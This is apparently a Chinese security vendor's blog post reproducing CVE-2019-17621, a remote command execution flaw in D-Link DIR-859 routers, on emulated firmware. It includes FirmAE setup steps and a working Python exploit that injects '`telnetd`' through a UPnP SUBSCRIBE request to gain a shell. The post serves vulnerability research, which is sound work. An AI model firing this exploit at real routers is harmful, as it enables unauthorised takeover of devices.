提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      D-Link DIR-859 RCE漏洞(CVE-2019-17621)复现
      发布时间:2023-03-17 阅读次数: 644 次
      环境搭建

      1.FirmAE 工具安装

      首先拉取FirmAE 工具仓库


      git clone --recursive https://github.com/pr0v3rbs/FirmAE

      图片

      运行下载脚本



      cd FirmAE/./download.sh

      图片

      运行./install.sh进行安装

      图片

      2.下载固件

      本文模拟的是设备型号为D-Link DIR-859

      下载地址:


      http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DIR-859

      下载后得到DIR859Ax_FW105b03.bin固件文件

      图片

      3.FirmAE工具初始化

      FirmAE工具目录下执行./init.sh进行初始化

      图片

      4.安装binwalk

      这里使用FirmAE工具目录下的binwalk安装程序进行安装


      cd binwalk-2.3.3/python3 setup.py install

      图片

      5.模拟运行固件
      执行如下命令对固件进行解压


      binwalk -Me /root/DIR859_FW102b03.bin --run-as=root

      图片

      图片

      执行如下命令来模拟运行固件


      sudo ./run.sh -r DIR-859 /root/DIR859_FW102b03.bin

      图片

      使用浏览器访问http://192.168.0.1,出现如下界面则表明成功模拟了一台D-Link DIR-859路由器

      图片

      漏洞复现

      查看端口


      nmap 192.168.0.1

      图片

      使用49152端口

      EXP内容如下:




      import socketimport osfrom time import sleep
      def httpSUB(server, port, shell_file):    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    Payload = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"    Payload += "Host: " + str(server) + ":" + str(port) + "\n"    Payload += "Callback: <http://192.168.126.128:33/>\n"    Payload += "NT: upnp:event\n"    Payload += "Timeout: Second-1800\n"    Payload += "Accept-Encoding: gzip, deflate\n"    Payload += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"    print(Payload)    sleep(1)    print('[*] Sending Payload')    con.connect((socket.gethostbyname(server),port))    con.send(Payload.encode())    results = con.recv(4096)
         sleep(1)    print('[*] Running Telnetd Service')
      serverInput = raw_input('IP Router: ')portInput = 49152
      httpSUB(serverInput, portInput, '`telnetd`')

      执行EXP


      python poc.py

      图片

      使用nmap扫描可以看到已成功通过漏洞开启了telnetd服务


      nmap 192.168.0.1

      图片

      执行telnet 192.168.0.1,成功获取shell

      图片


      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部